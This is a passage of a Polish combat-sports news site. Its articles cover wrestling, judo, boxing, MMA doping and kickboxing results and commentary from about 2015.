Polski zapaśnik odniósł wygraną w prestiżowym memoriale im. Ali Alieva. RadosławBaran okazał się najlepszy w kategorii 97kg w stylu wolnym.

W Kaspijsku w Dagestanie odbył się 46. Memoriał Ali Alieva. Zawody odbywają się w celu upamiętnienia pamięci utytułowanego zapaśnika, a przy okazji są doskonałą okazją do rywalizacji zawodników z różnych części świata. Ali Alev zapisał się w historii jako pięciokrotny mistrz świata. Zapaśnik rywalizował w stylu wolnym w kategorii 52kg i triumfował na czempionach w Teheranie (1959), Yokohamie (1961), dwukrotnie w Toledo (1962 i 1966) i New Delhi (1967). Aliev startował również w igrzyskach olimpijskich, jednak nie udało mu się zdobyć medalu. W Dagestanie jest ikoną zapasów i memoriał jego imienia jest najlepszym tego dowodem. Aliev zmarł w 1995 roku.

Polski triumf w Dagestanie

Radosław Baran rywalizował z mocnymi zawodnikami. Zapasy w krajach postradzieckich mają miano religii. Tam z niezwykłą uwagę przykłada się do treningów. Umiejętności szlifowane są z należytą starannością. Warto dodać, że fighterzy wszelkiej maści ze wschodu często są zawodnikami niezwykle twardymi i wytrzymałymi. W tej rzeczywistości chciał odnaleźć się polski zapaśnik. Radosław Baran w Dagestanie pokazał, że ma ogromny potencjał i stać go na dobre występy.

Polak zwyciężył w styl wolnym w kategorii 97kg. W finale trafił na Magomeda Musaeva z Kirgistanu. 26-latek w Igrzyskach Olimpijskich w Londynie doszedł do ćwierćfinału, gdzie musiał uznać wyższość Rezy Yazdaniego. Musaev w tym roku zdobył srebrny medal w mistrzostwach Azji. W Kaspijsku reprezentant Kirgistanu potwierdził wysoką dyspozycję, jednak w finale miał trudny orzech do zgryzienia. Trafił na Radosława Barana, który znalazł sposób na 26-latka. Polak mógł cieszyć się ze zwycięstwa. Oprócz Baran sukces w Dagestanie odniósł Zbigniew Baranowski. Polski zapaśnik zajął trzecie miejsce w kategorii 86kg.

Baran w dobrej formie

Zapaśnik z Krotoszyna po raz kolejny potwierdził wysoką dyspozycję. Radosław Baran z dobrej strony pokazał się w I Igrzyskach Europejskich w Baku. Polak był o krok od wywalczenia brązowego medalu.

W Baku Baran zaczął od porażki, co teoretycznie stawiało go w trudnej sytuacji. Chetag Gazimow okazał się lepszy od polskiego zapaśnika i pokonywał kolejne przeszkody na swojej drodze, co doprowadziło go do finału. Dzięki temu Baran mógł wystąpić w repasażach. Polak wykorzystał szansę i wygrał dwa pojedynki, co pozwoliło mu walczyć o brązowy medal Igrzysk Europejskich.

Trafił na Abdusałama Gadisowa. Rosjanin miał przewagę fizyczną nad Polakiem, co było kluczem do jego sukcesu. Baran z czasem zaczął słabnąć i nie był w stanie odrobić strat. W Dagestanie nie było mocnych na polskiego zapaśnika. Na przestrzeni ostatnich tygodni Baran prezentował równą dyspozycję, która pozwoliła mu osiągnąć dobre wyniki.

KM

Zamknięci judocy

W Polsce dyskusja na ten temat jest martwa. Międzynarodowa Federacja Judo chce zatrzymać zawodników tylko i wyłącznie dla siebie. Nawet kosztem ich rozwoju.

Pozwólcie Państwo, że najpierw kilka słów o czasach, w których przyszło nam żyć. Wszyscy chcą igrzysk. Liczy się widowisko, emocje, wrażenia artystyczne i pieniądze. Te ostatnie często odgrywają pierwszoplanową rolę. Często decydują o wielu aspektach i są wyznacznikiem szans na sukces. Aby się przebić trzeba mieć pomysł, który podbije serca obserwatorów.

Judoka chce do MMA

Judo jest dyscypliną piękną, nieskazitelną i czystą. To sport, z którego płynie życiowa nauka kształtująca charakter i określająca kulturę człowieka. Dla wielu jest to styl życia. Polska miała wielu wybitnych judoków, ale lata świetności tej dyscypliny w pewnym momencie odeszły do lamusa. Judo popadło w niebyt. Ostatnimi czasy odradza się. W głównej mierze to zasługa polskiej reprezentacji kobiet i trener Anety Szczepańskiej. Brązowy medal mistrzostw świata w 2014 roku Katarzyny Kłys to nie lada sukces. Polska czekała aż jedenaście lata na podium na światowym czempionacie w judo. W tym samym roku po brąz mistrzostw Europy sięgnęła Agata Ozdoba.

Z niecierpliwością czekamy na Igrzyska Olimpijskie w Rio de Janeiro i z nadzieją wypatrujemy medalu. Miłośnicy judo czekają na olimpijski sukces od czasów Pawła Nastuli. Stopniowo judo wraca do łask. Powoli czyni kolejne kroki, aby wrócić na świecznik.

Czasy są trudne. W judo często brakuje pieniędzy, nie wszyscy mogą liczyć na stypendia i tym bardziej sponsorów. Udaje się to nielicznym. Dlatego też wielu zawodników szuka sposobu, który pozwoli osiągać dochody. Wiadomo, że zagraniczne wojaże kosztują, a dopiero zdobycie medalu na imprezie najwyższej rangi jest szansą na uzyskanie rozgłosu. Jego wartość jest nieoceniona. Chwilowe zamieszanie może zrobić wiele dobrego i zwrócić uwagę na określoną osobą, a w szerszym kontekście na sport i nieść ze sobą szereg korzyści.

Tylko potrzeba czasu, wytrwałości i cierpliwości. Sporty walki pozwalają zawodnikom na rozwój, jednak w judo jest nieco inaczej. Oświadczenie prezesa Międzynarodowej Federacji Judo z zeszłego roku uzależnienia starty zawodników w innej dyscyplinie od jego zgody.

Dlaczego?

Nie zawsze judocy decydują się na starty w MMA, często biorą udział w turniejach zapaśnicznych czy jiu-jitsu. Dlaczego im tego zabraniać? Z jednej strony jest to narażenie na odejście największych gwiazd z judo. Są kraje, gdzie ta dyscyplina jest niemalże religią. Dlatego też nie ma obaw, że wszyscy rzucą judo i nagle przeniosą się do MMA. Chodzi raczej o kwestię swego rodzaju medialności. Są zawodnicy, którzy odgrywają rolę ikon czy też twarzy w judo i ich starty w innych dyscyplinach powodują kwestię utraty kapitału. Decyzja władz IJF w jakiś sposób jest zrozumiała, ale nie może odbywać się kosztem sportowców. Zapewne warto poszukać innych rozwiązań, który nie będą tworzyły warunków pachnących swego rodzaju niewolnictwem.

Travis Stevens zdecydował się spróbować swoich sił w jiu-jitsu. Na gruncie polskim tą samą drogą podążył Marek Kręcielewski. Ganbold Kherlen z Mongolii walczył w zapasach, tak jak i Adam Okruashvili z Gruzji. Warto przypomnieć przypadek Rondy Rousey, która była wybitną judoczką, a teraz jest gwiazdą MMA w organizacji UFC.

Czasami po prostu jest tak, że zawodnicy decydują zmienić się płaszczyznę rywalizacji, gdyż w danej dyscyplinie osiągnęli wszystko, co możliw. W żaden sposób nie można im torować drogi. Szkodzi to przede wszystkim judo. Zasady muszą być zdrowe, przejrzyste i powinny szanować dobro wspólne.

 

KM

Mistrz będzie się bronił

Dał wiele radości swoim rodakom, którzy lata świetlne musieli czekać na mistrza świata w wadze ciężkiej. Deontay Wilder jest dumą i chlubą Amerykanów. Mistrz świata WBC czeka na kolejnego rywala.

Wedle najnowszych doniesień bardzo prawdopodobne jest starcie Wildera z Chrisem Arreolą. Do walki miałoby dojść 26 września podczas kolejnej imprezy z cyklu Premier Boxing Champions.

Kolejny nokaut?

Wilder czeka na nazwisko rywala, z którym przyjdzie mu się zmierzyć jesienią. 29-letni pięściarz stał się ulubieńcem amerykańskiej publiczności po tym, jak pokonał Bermane Stiverne i wywalczył pas WBC. Mieszkańcy USA aż osiem lat czekali na mistrza świata kategorii królewskiej. Wilder spełnił ich marzenia i planuje dalsze podboje.

Rodzą się kolejne domysły na temat tego, czy Amerykanin stanie do rywalizacji z Władimirem Kliczko. Wydaje się, że Wilder to jedyny pięściarz, który de facto jest w stanie postawić wysokie wymagania Ukraińcowi. Wielu próbował, ale jakoś od ponad dekady nikt nie znalazł sposobu na Kliczko. Wilder jest pięściarzem, którego chce się oglądać. Twardy, agresywny i co najważniejsze skuteczny. W stu procentach. Wilder na zawodowym ringu nie doznał jeszcze porażki.

Pięściarz z Alabamy wzbudza ciekawość i zainteresowanie. Dlaczego? Odpowiedź jest prosta. Wilder jest królem nokautów. Na trzydzieści cztery zwycięskie walki, aż trzydzieści trzy kończył przed czasem. Tylko walka o mistrzostwo świata ze Stivernem trwała pełnych dwanaście rund,  ale sędziowie nie mieli żadnych wątpliwości, komu należy się zwycięstwo. W pierwszej obronie pasa Wilder stanął w ringu naprzeciw Erica Moliny. W dziewiątej rundzie rywal poległ i walka dobiegła końca. Amerykański mistrz nadal jest w formie, nie ma zamiaru spocząć na laurach, jego droga prowadzi na szczyt. Czy jego pochód zablokuje Chris Arreola?

Musi wygrać

Boksera z Kalifornii w lipcu czeka walka z Fredem Kassim. Bez wątpienia 34-letni Arreola jest faworytem pojedynku, jednak musi wejść do ringu i wykonać zadanie. Dopiero wtedy będzie mógł myśleć o kolejnej już rywalizacji o mistrzowski pas.

Warto zauważyć, że Arreola nie ma szczęścia do rywalizacji o mistrzowski pas WBC w wadze ciężkiej. Amerykanin bił się o tytuł z Witalijem Kliczko i Bermane Stivernem i za każdym razem schodził z ringu pokonany. Arreola dopiero po sześciu latach zawodowej kariery zanotował pierwszą porażkę. Przegrał z nie byle kim, z samym Witalijem Kliczko. Była to walka o pas, w której Arreola stawiał opór, ale w dziesiątej rundzie zabrakło mu sił i Ukrainiec dokończył dzieła. W amerykańskim pięściarzu wielu widziało ogromny potencjał, jednak w decydujących momentach czegoś mu brakowało. Pogromcą Arreoli okazał się również Tomasz Adamek. Po porażce z Polakiem udało mu się powrócić na właściwe tory. Przez trzy lata wygrywał, poległ ze Stivernem. Teraz być może stanie przed kolejną szansą na zdobycie pasa. Wilder to mistrz i prawdziwy killer. Arreola rysuje się jako pięściarz, który dochodzi do pewnego punktu, ale za nic nie może go pokonać. Być może na zawsze pozostanie już pretendentem.

KM

Ogólnoświatowy debiut cyklu ESPN Premier Boxing Champions w telewizji FightKlub.

W nocy z soboty na niedzielę o godzinie 03:00, wyłącznie na antenie telewizji FightKlub, zadebiutuje w Polsce cykl ESPN Premier Boxing Champions. Stacja pokaże na żywo galę z udziałem wielkiej gwiazdy młodego pokolenia – Keith Thurman stanie w obronie tytułu WBA w wadze półśredniej w walce z byłym mistrzem świata Luisem Collazo.

Hitowe gale boksu zawodowego, największych światowych producentów zagoszczą w wakacyjne wieczory na antenie telewizji FightKlub. W nocy z 11 na 12 lipca o godzinie 03:00 (powtórka w niedzielę o 11:30) Keith Thurman (25-0, 21 KO), w piątej obronie mistrzowskiego tytułu WBA w kategorii półśredniej, podejmie byłego czempiona Luisa Collazo (36-6, 19 KO). Będzie to ogólnoświatowy debiut cyklu ESPN Premier Boxing Champions.

Keith “One Time” Thurman to długowłosy talent ze słonecznych plaż Florydy, który na zawodowym ringu zadebiutował w 2007 roku. Bokserska doktryna jest praktycznie jednomyślna – mamy przed sobą następcę takich gwiazd jak Floyd Mayweather Junior czy Manny Pacquiao. Jest znakomity technicznie, szybki, mobilny, bije bardzo mocno i przede wszystkim – bardzo celnie. Tytuł WBA (początkowo w wersji Interim) zdobył nokautując w 10. rundzie Meksykanina Diego Gabriela Chavesa, później przychodziły wygrane m.in. nad takimi nazwiskami jak niepokonany Leonard Bundu i były mistrz kilku kategorii wagowych – Robert “The Ghost” Guerrero. W sumie Thurman bronił już czterokrotnie mistrzowskiego tytułu.

Bardzo trudne zadanie czeka zatem doświadczonego (34 l.) Luisa Collazo. Mańkut z Nowego Jorku ostatnio miał zmienne szczęście w swoich głośnych pojedynkach. Stacja FightKlub pokazała jego starcie z Victorem Ortizem, którego spektakularnie pokonał przez nokaut już w drugiej rundzie. Zdecydowanie gorzej powiodło mu się w walce z Amirem Khanem w maju 2014 roku, przegranym wysoko na punkty. W ostatnim występie Collazo pokonał w drugiej rundzie Chrisrophera Degollado, co jednak wobec niezbyt wysokiej klasy rywala było tylko formalnością.

Na gali w Tampie, w drugiej walce wieczoru, FightKlub pokaże równie ciekawy pojedynek w kategorii średniej – niepokonany Tony Harrison(21-0, 18 KO) skrzyżuje rękawice z Williem “Wielkim” Nelsonem (23-3-1, 13 KO).

Transmisja obu walk wyłącznie w telewizji FightKlub, od godziny 03:00 w nocy z 11 na 12 lipca (powtórka w niedzielę o 11:30).

[kod]

Źródło: materiały prasowe

Nieudana uniwersjada

Polscy judocy muszą pogodzić się z brakiem zdobyczy medalowej na uniwersjadzie w Gwangju. Najwyższe miejsce zajęła Karolina Tałach, która w kategorii 63kg uplasowała się na 5.pozycji.

W zawodach wzięło blisko czterysta zawodniczek i zawodników. Najwięcej pań startowało w kategorii 63kg – trzydzieści sześć judoczek. Z kolei wśród panów po trzydziestu siedmiu zawodników pojawiło się w dwóch wagach – 73kg i 81kg.

Bez medalu

Reprezentanci Polski w Gwangju nie spisali się na medal. 21-letnia Karolina Pieńkowska w tym sezonie startowała wśród seniorów i radziła sobie przyzwoicie. Elementem przygotowań do występu w Korei Południowej był turniej Grand Prix w Budapeszcie. Do stolicy Węgier pojechały tylko dwie Polki –Pieńkowska i Katarzyna Kłys. Teoretycznie wydawało się, że bardziej doświadczona zawodniczka Polonii Rybnik zaprezentuje się lepiej, ale teoria nie zawsze się sprawdza. Pieńkowska w Budapeszcie pokazała, że stać ją na zajmowanie miejsc w czołówce. Wygrała dwie walki i dopiero w ćwierćfinale znalazła pogromczynię w osobie Mareen Kraeg, która ostatecznie zawody wygrała. Z pewnością start w stolicy Węgier podbudował 21-letnią judoczkę AZS-u UW Warszawa. W Budapeszcie Polka zajęła 7. pozycję, w Gwangju powtórzyła ten rezultat. Na początku rywalizacji w Korei Południowej Polka mogła się zrelaksować, gdyż dostała wolny los. Pierwszą przeciwniczką 21-letniej zawodniczki była Azzazya Chintogtogh z Mongolii, która kończyła rywalizację ze spuszczoną głowę. Z podniesionym czołem Pieńkowska przystępował do kolejnej walki, jak się okazało przegranej. Tetiana Levytska pokonała Polkę i pewnie zmierzała po medal, jej droga zakończyła się na 3.miejscu. W repasażach Pieńkowska wygrała z Xiaowei Gu, jednak w kolejnym pojedynku przegrała. Jej pogromczyni Evelyne Tschopp mogła cieszyć się z brązowego medalu.

Aby sięgnąć po złoto Karolina Tałach musiała okazać się lepsza od trzydziestu pięciu zawodniczek. Polka dobrze rozpoczęła start w Korei, jednak powstrzymała ją zawodniczka gospodarzy. Jiyun Bak zastopowała Polkę, która po dwóch wygranych pojedynkach liczyła, że dotrze do strefy medalowej. Porażka z Koreanką odesłała naszą zawodniczkę do repasaży. Tam pokonała dwie rywalki – Czeszkę Patockovą oraz Chinkę Zhang. Dzięki dobrej postawie Polka stanęła przed szansą na sięgnięcie po brązowy medal. Tałach w decydującym starciu przegrała z Niemką Nadją Bazynski i ostatecznie uplasowała się na 5.miejscu. W kategorii +78kg do ćwierćfinału dotarła Joanna Jaworska, która zajęła 7.miejsce.

Azja dominuje

Uniwersjada przebiegała pod dyktando reprezentantów Korei Południowej oraz Japonii. Zawodnicy gospodarzy zdobyli osiem z szesnastu możliwych złotych medali. Wśród panów tylko w kategorii 81kg zwyciężył zawodnik z innego kraju niż Korea i Japonia – Rosjanin Khasen Khalmurzaev. Judocy z Kraju Kwitnącej Wiśni uzyskali pięć złotych medali. Warto nadmienić, że wśród pań monopol Korei i Japonii przełamała Sumiya Dorjsuren z Mongolii (57kg) oraz Samah Camara (78kg).

KM

Kolejna afera dopingowa w MMA

Niedozwolone substancje są zmorą mieszanych sztuk walki. W tym roku na światło dziennie wyszło już kilka afer, których bohaterami byli czołowi fighterzy. Teraz głośno zrobiło się o problemach Gilberta Melendeza.

Czasami jest tak, że człowiek chce sobie w jakiś sposób zrekompensować niepowodzenia. Nie zawsze podejmuje słuszne decyzje. Jak pokazują ostatnie doświadczenia w świecie MMA – w ciągu jednej chwili można spaść ze szczytu na sam dół.

Melendez na dopingu

Gala UFC 188 zakończyła się dla popularnego „El Nino” fatalnie. Amerykanin przegrał walkę z Eddie’m Alvarezem, a po niej okazało się, że stosował niedozwolone środki. Badania wykazały obecność metabolitów testosteronu pochodzenia egzogennego w organizmie 33-letniego zawodnika. Doping w żaden sposób nie pomógł mu na gali w Meksyku, gdyż przegrał przez decyzję sędziów z Alvarezem. Dodatkowo Melendez przez rok będzie musiał odpoczywać od MMA, gdyż na tyle właśnie został zawieszony.

Amerykanin ostatnimi czasy prezentował się słabo. Od 2013 roku stoczył cztery walki, z których wygrał tylko jedną. Z pewnością słabsza dyspozycja miała wpływ na decyzje podjęte przez zawodnika. 33-latek sięgnął po doping, czym naruszył panujące zasady i został za swoje działanie ukarany. Melendez stoczył w tym roku jeden pojedynek  i miał zamiar przygotowywać się do kolejnego. W lipcu podczas gali UFC Fight Night 72 w San Diego miał stanąć naprzeciw Ala Iaquinty. Do walki jednak nie dojdzie.

Czy warto było?

Z pewnością Melendez nie raz zadał sobie takie pytanie. W jednej chwili Amerykanin stracił pozycję, na którą pracował przez lata. Kariera Melendeza to pasmo sukcesów, które zostało przerwane przez jego głupotę. Wiadomo, że wiek robi swoje i czasami przychodzi kryzys, ale sięgnięcie po doping nie jest rozwiązaniem. Takie zachowanie wielkiemu fighterowi nie przystoi. Melendez dwukrotnie był mistrzem wagi lekkiej organizacji Strickeforce. O jego fenomenie świadczy fakt, że dzierżył w swoich dłoniach pas aż przez cztery lata.

W UFC pojawił się w 2013 roku. Nie była to udana przygoda. Już w debiucie poległ w starciu z Bensonem Hendersonem. W kolejnej walce wygrał z Diego Sanchezem, co dawało nadzieję na przełamanie. Melendez wielokrotnie udowadniał swój potencjał i pokazywał, że nie boi się trudnych wyzwań. Trzeci występ w UFC okazał się ciężką próbą. Amerykanin stanął na wprost nietuzinkowego Anthony’ego Pettisa, który udowodnił swoją wyższość i przez duszenie pokonał 33-latka w drugiej rundzie. Melendez nie poradził sobie w UFC.

Upadek

Co kieruje zawodnikami, którzy sięgają po niedozwolone substancje? Wielu z nich musi pogodzić się z utratą tytułów, pozycji, pieniędzy oraz autorytetu. Anderson Silva, dla wielu ikona MMA, w jednej chwili przekreślił wszystko. Długo walczył i zaprzeczał, jednak wynik badań był bezlitosny. Nick Diaz i Jon Jones to kolejne dopingowe nazwiska. Wcześniej wielkie ikony MMA. Ikony, które zaliczyły upadek.

KM

Olimpia Podolska

Polska zawodniczka kickboxingu urodzona 11 kwietnia 1996 roku w Kościerzynie. Swoją przygodę z kickboxingiem rozpoczęła w 2012 roku w klubie GKS Champion pod okiem trenera Bogdana Bliźniaka. W swoim pierwszym starcie zdobyła drugie miejsce na Pucharze Polski w Kick light w 2013 roku. Rok później zdobyła Puchar Polski w Kick Light. Olimpia na swoim koncie ma również mistrzostwo Polski w Full Contact, v-ce mistrzostwo polski w formule K-1.  Zdobyła także brązowy medal na Pucharze Świata w formule low Kick. W 2015 roku zdobyła v-ce mistrzostwo polski w formule low Kick.  Olimpia dwukrotnie występowała na zawodowych galach Champions Fight Night i dwa razy wygrywała swoje pojedynki. 

Angielska jesień Władimira Kliczko

Mówiło się o tym od dawna i kwestią czasu pozostawało oficjalne potwierdzenie walki. W październiku Władimir Kliczko będzie bronił swojego mistrzowskiego dorobku w starciu z Tysonem Fury’m.

Do starcia dojdzie w Niemczech, czyli na terenie, który jest królestwem mistrza z Ukrainy. Kliczko wyjdzie po raz dziewiętnasty, aby bronić tytułów mistrza świata WBA, WBO i IBF.

Stanąć przed olbrzymem

Kliczko jest wielki. Bez wątpienia to jedrn z najlepszych, a na pewno najbardziej utytułowanych pięściarzy XXI wieku. Sportowo osiągnął wszystko, co mógł. Dodatkowo zbudował sobie świetny wizerunek, z którego może czerpać zyski. Władimir Kliczko jest ikoną boksu, wyrazistą postacią, a takich potrzebuje współczesny sport.

Jak zawsze są dwie strony medalu. Wyrazistość jest ważna, ale trzeba czegoś więcej, aby spełniała swoją rolę. Musi być poparta argumentami w postaci osiągnięć i pewnej dojrzałości, a zarazem mądrości. Kliczko doskonale wpisuje się w ten schemat. Z pewnością Tyson Fury jest postacią wyrazistą, ale warto zastanowić się nad tym, czy nie jest to tylko kreacja? Brytyjski olbrzym mierzy 206cm i mimo swojej fizycznej wielkości jest niezwykle elastyczny. Zwłaszcza w mowie. Fury grzeszy pewnością siebie, czasami wydaje się, że jest bardzo zadufany w sobie. Niektórzy twierdzą, że przemawia przez niego pycha, która go w końcu zgubi.

Tak wygląda sprawa na gruncie osobowości. W pełni profesjonalny Kliczko, który jest gwiazdą boksu i Fury kreujący się na wielkiego boksera. Brytyjczykowi umiejętności odmówić nie można, ale czasami przydałoby mu się trochę pokory. Powoli do lamusa odchodzą czasy, w których z szacunkiem wyrażano się o mistrzach. W relacji Kliczko – Fury tego brakuje. To przykład igrzysk w najlepszej postaci, gdzie chodzi o to, aby przeciwnika dosłownie zmieść. W tej rzeczywistości funkcjonuje Fury. Kliczko zaś jest człowiekiem kultury i szyku.

Dwa bokserskie światy

Są z dwóch różnych epok. Początki Brytyjczyka w zawodowym boksie to czas, w którym Kliczko znajdował się w najlepszych latach swojej kariery. Obecnie Ukrainiec jest mistrzem świata kategorii królewskiej, co jest owocem jego ogromnego doświadczenia oraz mądrości ringowej. Z drugiej strony to także słabość rywali. Wielu hucznie i głośno zapowiada, że skończy dominację młodszego z braci Kliczko i na słowach się kończy. Czy Fury będzie innym przypadkiem?

Swego czasu26-latek zamknął usta Derecka Chisory, równie aktywnego werbalnie boksera z Wysp. Fury zapowiada, że w starciu, które zaplanowano na 24 października w Dusseldorfie nie zachowa się jak David Haye. Jego rodak w rywalizacji z Kliczko przetrwał dwanaście rund, ale przez większość pojedynku unikał kontaktu z mistrzem z Ukrainy. Fury pozostaje niepokonany na zawodowym ringu, Kliczko zanotował dwadzieścia dwa zwycięstwa z rzędu. Król wagi ciężkiej po raz ostatni przegrał w 2004 roku, czyli jedenaście lat temu. Ostatnio odprawił niepokonanego Bryanta Jenningsa. Czy Fury musi przygotować się na smak pierwszej porażki?

KM

Polskie srebro oświeciło Sofię

W stolicy Bułgarii odbyły się mistrzostwa Europy kadetów w judo. Polacy delikatnie zaznaczyli swoją obecność. Trudno mówić o dokonaniach, raczej trzeba skupić się na najjaśniejszym punkcie, czyli Macieju Krogulskim.

Do Sofii pojechało osiemnastu naszych reprezentantów, jednak nie w roli faworytów. Biało-czerwoni mieli zaliczyć ważny start i postarać się o niespodziankę. W Bułgarii Polska wywalczyła jeden medal, co na pewno cieszy, ale z drugiej strony zastanawia –czy naszych kadetów stać na więcej?

Dał przykład Krogulski

Młody Polak walczący w kategorii 73kg nie miał litości dla swoich rywali. Krogulski był pewny siebie i skuteczny, co dało mu medal. Na szyi polskiego judoki zawisło srebro.

Krogulski od początku zawodów prezentował się bardzo dobrze i zmierzał w kierunku finału. Na początek w starciu z polskim zawodnikiem poległ Andrei Pirloga z Rumunii. Krogulski dobrze wszedł w zawody, co potwierdził w kolejnej walce, kiedy to okazał się lepszy od Killiana Pirotona. Wydawało się, że Polak może złapać zadyszkę, gdyż kolejne walki były coraz bardziej wymagające, jednak w Bułgarii nasz zawodnik prezentował się wyśmienicie.. Niestraszny Krogulskiemu był również Oleksandr Cherkai. Wygrana z reprezentantem Ukrainy wprowadziła Polaka do strefy medalowej. Sukces był o krok.

W walce półfinałowej Krogulski stanął przed trudnym wyzwaniem. Christian Parlati to rywal wymagający, który w Sofii odniósł trzy zwycięstwa i liczył na awans do finału. Krogulski powstrzymał zapędy Włocha, który musiał obejść się smakiem, bo ostatecznie medalu nie wywalczył i zajął 5.miejsce. Polak był na najlepszej drodze, aby odnieść sukces. Jeśli Parlati był wymagającym rywalem to w finale Krogulski trafił zdecydowanie gorzej. Gruzini na judo się znają. Łasza Dudaszwili potwierdził tę regułę i zdobył złoty medal mistrzostw Europy kadetów, a w finale pokonał Krogulskiego przez ippon.

Krok od medalu

Dorobek Polaków mógł być nieco większy. Niewiele zabrakło a z medalu cieszyłaby się Anna Dąbrowska w kategorii 57kg. Zawody w Sofii rozwijały się po myśli młodej Polki, która wygrała trzy walki i była już gotowa do starcia o podium. W półfinale trafiła na Mariię Gryzlovą. Pojedynki polskich i rosyjskich zawodników zawsze mrożą krew w żyłach i powodują dodatkową adrenalinę. Do finału awansowała jednak reprezentantka Sbronej, a Dąbrowskiej przyszło rywalizować o brązowy medal. W rywalizacji o trzecie miejsce Polaka trafiła na zawodniczkę z repasaży Lise Keller. Szwajcarka rozstrzygnęła pojedynek na swoją korzyść i mogła radować się z brązowego medalu. W tej samej kategorii rywalizowała również Angelika Szymańska. Polka rozpoczęła udział w zawodach od wygranej z Holenderką Lesley Koorn, następnie wyeliminowała Marię Ortiz Medinę. Potknęła się w na Niemce Hannah Deliu. Szymańska miała szansę w repasażach, ale tam powstrzymała ją Lise Keller, którą można określić jako zmorę Polek.

KM

Jędrzejczyk zdobyła uznanie

Fighterka z Olsztyna jest wizytówką polskiego MMA na świecie. Kolejne pochwały płyną w kierunku Joanny Jędrzejczyk.

27-latka jest mistrzynią UFC w wadze słomkowej. Tytuł wywalczyła pokonując w efektowny sposób Carlę Esparzą. W równie widowiskowym stylu Polka rozprawiła się z Jessicą Penne w swojej pierwszej obronie pasa.

Najlepsza w UFC

Obecnie wyżej stoją akcje tylko jednej fighterki – Rondy Rousey. Amerykanka walczy efektownie, walki kończy niezwykle szybko i widowiskowo. Jest niekwestionowaną mistrzynią oraz gwiazdą UFC. Joanna Jędrzejczyk rozwija się błyskawicznie i wprawia coraz to większe grono odbiorców w zachwyt.

Rok temu debiutowała w UFC, co było ogromnym wyróżnieniem dla niej, a zarazem szansą dla polskiego MMA. Jędrzejczyk stoczyła cztery pojedynki dla najlepszej organizacji mieszanych sztuk walki na świecie i wszystkie wygrała. W dwóch pierwszych zwyciężała na punkty. Zwłaszcza w pojedynku z Gadelhą wiele się działo i Brazylijka nie była zadowolona z werdyktu sędziowskiego, jednak Polka pokazała charakter, co pozwoliło jej odnieść sukces w starciu z wyżej cenioną rywalką. Jędrzejczyk zmierzała pewnie w kierunku walki o pas. Carla Esparza była ostatnią przeszkodą na drodze Polki do chwały. Okazało się, że zawodniczka z Olsztyna jest zdeterminowana, aby odnieść sukces. Zdobycie tytułu dodało 27-latce energii i stała się z miejsca gwiazdą UFC. Na gruncie sportowym jej umiejętności nie podlegają dyskusji, ale Jędrzejczyk powoli radzi sobie coraz lepiej marketingowo. Polka przed ostatnią walką z Jessicą Penne zrobiła prawdziwe show. Wręczyła rywalce naszyjnik z makaronu. W Berlinie udowodniła swoją wyższość  nad Jessicą Penne i pewnie obroniła pas.

Dobra dyspozycja, harmonijny rozwój oraz sukces Polki nie przeszły bez echa. Fighterka z Olsztyna jest chwalona na każdym kroku. Oficjalny serwis UFC uznał Polkę za najlepszą wojowniczkę pierwszego półrocza 2015 roku. To cenne wyróżnienie dla Polki, które zarazem pokazuje, że kobiece MMA jest bacznie obserwowane i doceniane. We wspomnianym rankingu Jędrzejczyk wyprzedziła mistrza wagi półciężkiej Daniela Cormiera oraz fenomenalnego Donalda Cerrone’a.

Amerykanie zachwyceni

Polka zachwyca. Amerykanie są zadowoleni, że mogą z bliska przyglądać się zawodniczce, która po wejściu do oktagonu chce walczyć i nie ma litości dla swoich rywalek. Takie podejście imponuje publiczności czekającej na widowiskowe starcia.

Amerykańskie media przewidują, że Jędrzejczyk długo utrzyma się na szczycie. De facto Polka szybko została mistrzynią UFC. W zaledwie dziewięć miesięcy od debiutu walczyła o tytuł. Jędrzejczyk prezentuje się pewnie i widać, że dobrze czuje się jako mistrzyni. Pochwały, słowa uznania są ważne, ale warto pamiętać, że w tym biznesie jedna słabsza walka może zmienić optykę. Dziś Jędrzejczyk jest na szczycie, wszyscy ją ubóstwiają. Należy zachować zdrowe podejście, bo przede wszystkim Polka ma rozwijać się jako zawodniczka MMA i osiągać sukcesy. W żaden sposób nie zastąpią tego różnego typu wyróżnienia, choć to miły dodatek. Jędrzejczyk wygląda na osobę, która wie, czego chce i nie powinna ulec żadnym pokusom.

KM

Sęk przyłożył i położył

Dariusz Sęk jechał do Monachium z nadziejami na sukces. Plany polskiego pięściarza ziściły się.

Ostatniej wizyty w Niemczech Sęk nie wspominał zbyt miło z powodu porażki na punkty z Robinem Krasniqim. Polak nie był faworytem pojedynku, jednak pokazał się z bardzo dobrej strony. Sęk zaprezentował wysoki poziom i sprawił rywalowi wiele problemów. W grudniu 2014 roku z podróży do Niemiec nie był mimo wszystko zadowolony. Minęło nieco ponad pół roku i nastrój zmienił się.

Pewne zwycięstwo

Tym razem Sęk również nie miał łatwego zadania. Podczas monachijskiej gali w walce wieczoru zmierzył się z Shefatem Isufim. 25-latek rysował się jako groźny i wymagający rywal. Na zawodowym ringu zanotował siedemnaście zwycięstw, z czego trzynaście przed czasem. Isufi boksuje regularne i z dobrym efektem. Ostatnią porażkę zanotował w starciu z Tasosem Berdesisiem, a było to w marcu ubiegłego roku. Od tamtej pory odniósł pięć zwycięstw z rzędu i wszystkie pojedynki zakończył przed czasem. Do pojedynku z polskim pięściarzem wagi półciężkiej przystępował pewny siebie i z nieskrywaną nadzieją na kolejne zwycięstwo.

Sęk mógł przeciwstawić się swojemu rywalowi. W pojedynku z Krasniqim Polak pokazał, że boksować umie, a decyzja sędziów w oczach wielu była kontrowersyjna. Z tej walki płynęła również nauka, że na obcym terenie trzeba kończyć dzieło przed czasem, bo w innym przypadku może przytrafić się niespodzianka. Dla 28-letniego pięściarza rywalizacja z Isufim była czwartym pojedynkiem, który stoczył w Niemczech. Wcześniej ze swoich występów Sęk nie mógł być usatysfakcjonowany. Zanotował dwie porażki, jedną walkę wygrał – z Christianem Pohle, a było to pięć lat temu. W końcu nadszedł czas na przełamanie.

